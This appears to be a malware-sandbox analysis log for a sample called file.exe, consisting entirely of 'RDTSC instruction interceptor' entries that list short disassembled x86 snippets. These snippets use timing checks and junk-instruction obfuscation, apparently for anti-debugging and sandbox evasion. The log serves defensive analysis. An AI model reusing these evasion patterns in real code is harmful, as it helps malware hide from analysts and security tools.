Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34812E second address: 348134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348134 second address: 34813E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6784C8BDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348288 second address: 3482A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6F6h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3482A4 second address: 3482AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348409 second address: 348413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB678E7E6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348413 second address: 348417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348417 second address: 34841D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348554 second address: 348558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348558 second address: 34855C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34855C second address: 348562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348562 second address: 348568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348568 second address: 348572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348572 second address: 348576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348576 second address: 348584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB6784C8BE8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348811 second address: 348815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348815 second address: 348829 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FB6784C8BD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348958 second address: 34895C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348C62 second address: 348C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348C68 second address: 348C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348C6E second address: 348C79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FB6784C8BD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3512DA second address: 351313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6F8h 0x00000009 jmp 00007FB678E7E6F4h 0x0000000e popad 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351313 second address: 351317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351317 second address: 35131B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FD77 second address: 34FD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FD7E second address: 34FD84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FD84 second address: 34FD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FD99 second address: 34FDAB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB678E7E6E6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3502EF second address: 3502F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3502F9 second address: 3502FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3505A5 second address: 3505D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FB6784C8BE0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3505D0 second address: 3505E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007FB678E7E6E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3505E2 second address: 3505EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB6784C8BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3505EC second address: 3505FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB678E7E6EBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 350757 second address: 350771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3508F1 second address: 3508F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3508F5 second address: 35090B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FA6D second address: 34FA73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357B7C second address: 357B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357B86 second address: 357B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CED3F second address: 2CED47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3565B8 second address: 3565DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007FB678E7E6E6h 0x00000009 jmp 00007FB678E7E6F6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3565DC second address: 3565E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3572A5 second address: 3572AF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB678E7E6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357573 second address: 357579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357579 second address: 3575A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB678E7E6F4h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FB678E7E6E6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3575A1 second address: 3575A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3575A5 second address: 3575D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB678E7E6F2h 0x0000000e jmp 00007FB678E7E6F1h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DDE2C second address: 2DDE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2390 second address: 2D2394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2394 second address: 2D23A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D23A0 second address: 2D23A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D23A4 second address: 2D23A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362090 second address: 3620CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FB678E7E6F7h 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007FB678E7E6F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3620CC second address: 3620D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 321D03 second address: 321D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FB678E7E6E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 321D24 second address: 321DB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FB6784C8BEBh 0x0000000e jo 00007FB6784C8BE5h 0x00000014 jmp 00007FB6784C8BDFh 0x00000019 nop 0x0000001a pushad 0x0000001b mov ebx, dword ptr [ebp+122D2E4Fh] 0x00000021 mov cx, 9A82h 0x00000025 popad 0x00000026 lea eax, dword ptr [ebp+12486A23h] 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FB6784C8BD8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 pushad 0x00000047 mov di, si 0x0000004a call 00007FB6784C8BE2h 0x0000004f pushad 0x00000050 popad 0x00000051 pop edi 0x00000052 popad 0x00000053 jmp 00007FB6784C8BDCh 0x00000058 push eax 0x00000059 pushad 0x0000005a ja 00007FB6784C8BDCh 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 321DB1 second address: 30036E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ecx, dword ptr [ebp+122D28EDh] 0x0000000f call dword ptr [ebp+122D1DEBh] 0x00000015 push eax 0x00000016 pushad 0x00000017 ja 00007FB678E7E6E6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3221CF second address: 3221D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3221D3 second address: 3221D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3226BF second address: 3226C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3227AC second address: 32281B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FB678E7E6E8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2B28h], edx 0x0000002a push 00000004h 0x0000002c jmp 00007FB678E7E6F7h 0x00000031 nop 0x00000032 pushad 0x00000033 jmp 00007FB678E7E6EBh 0x00000038 jmp 00007FB678E7E6F4h 0x0000003d popad 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32281B second address: 32281F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32281F second address: 322829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322B4C second address: 322B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322B67 second address: 322B95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ecx, 79C3A3A1h 0x00000010 push 0000001Eh 0x00000012 add cx, 9F62h 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB678E7E6F3h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322CAB second address: 322CD0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB6784C8BEBh 0x00000008 jmp 00007FB6784C8BE5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322CD0 second address: 322CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322CD5 second address: 322CDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322CDB second address: 322CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322EAA second address: 322ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB6784C8BD6h 0x0000000a popad 0x0000000b jnl 00007FB6784C8BD8h 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FB6784C8BE1h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push edi 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322ED9 second address: 322EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322F9E second address: 322FA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322FA4 second address: 322FFE instructions: 0x00000000 rdtsc 0x00000002 js 00007FB678E7E6E8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D2E3Bh] 0x00000013 lea eax, dword ptr [ebp+12486A67h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FB678E7E6E8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+1245FF67h], edx 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007FB678E7E6F7h 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36146F second address: 361474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361474 second address: 36148B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36148B second address: 36148F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36148F second address: 36149B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36149B second address: 3614B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3614B8 second address: 3614C2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB678E7E6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361603 second address: 361609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361B34 second address: 361B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB678E7E6E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361B40 second address: 361B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FB6784C8BDEh 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FB6784C8BD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365F43 second address: 365F5C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jo 00007FB678E7E6E6h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3658FB second address: 365914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FB6784C8BE0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365914 second address: 36592F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007FB678E7E706h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB678E7E6ECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36592F second address: 36593D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FB6784C8BDCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365A9D second address: 365AA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365AA9 second address: 365ACE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6784C8BEBh 0x00000008 je 00007FB6784C8BE2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365C90 second address: 365CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365CAB second address: 365CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 365CAF second address: 365CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FB678E7E6EEh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3683C6 second address: 3683CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3683CA second address: 3683DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3683DE second address: 3683E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D131 second address: 36D137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C482 second address: 36C4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FB6784C8BE1h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB6784C8BE7h 0x00000011 rdtsc
